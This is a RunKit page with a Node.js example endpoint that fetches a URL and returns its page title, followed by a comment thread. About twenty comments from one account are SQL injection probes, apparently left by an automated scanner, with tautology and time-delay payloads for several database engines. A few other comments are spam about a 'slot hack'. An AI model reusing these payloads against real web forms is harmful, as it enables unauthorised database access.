JSON Endpoint Example 1

node v4.9.1
version: 1.0.0
endpointsharetweet
Send a request to a URL like https://runkit.io/runkit/json-endpoint-example-1/branches/master?url=http://google.com, get back the title of the page in the url query parameter.
var endpoint = require("@runkit/runkit/json-endpoint/1.0.0") var request = require("request") // peer dependency var requestPromise = require("request-promise") var cheerio = require("cheerio") endpoint(module.exports, async function(request) { try { var html = await requestPromise(request.query.url) var page = cheerio.load(html) } catch(e) { return {error: "could not retrieve page"} } return { title: page("title").text() || "no title" } })
Because we're using async/await, we're automatically returning a Promise. You can always explicitly return a promise too.
Loading…

36 comments

  • posted 5 years ago by randomstand
    Wow..
  • posted 5 years ago by 5ec98e10c29904001bf9f92a
    Tf t te k
  • posted 4 years ago by escobar-20
    Hi all
  • posted 3 years ago by matt-destroyer
    Doesn't seem to work for any available version of NodeJS above v6.17.1 ...
  • posted 2 years ago by 635660925cd0e8000841ae50
    TFX
  • posted 2 years ago by 641878517dda1b000845c95b
    Slot hack example
  • posted 2 years ago by waiyanpaingsoe
    online game slot hack example
  • posted a year ago by kara021
    Thats İt !!!
  • posted 10 months ago by nifp909
    Thanks
  • posted 4 months ago by 2512337862
    U
  • posted 2 months ago by 671b4ae335f9e10008495181
    Thanks
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    -1 OR 2+673-673-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1 OR 2+139-139-1=0+0+0+1
  • posted a month ago by xsjybldb
    -1' OR 2+240-240-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1' OR 2+464-464-1=0+0+0+1 or 'Ra7RDoK5'='
  • posted a month ago by xsjybldb
    -1" OR 2+105-105-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a month ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    lbC1YUBm'; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -5 OR 772=(SELECT 772 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -5) OR 679=(SELECT 679 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -1)) OR 955=(SELECT 955 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    a7Z4Fhgx' OR 438=(SELECT 438 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    6tXRYzov') OR 790=(SELECT 790 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1skXuQO9')) OR 909=(SELECT 909 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by xsjybldb
    1'"
  • posted a month ago by xsjybldb
    @@TPDK4

sign in to comment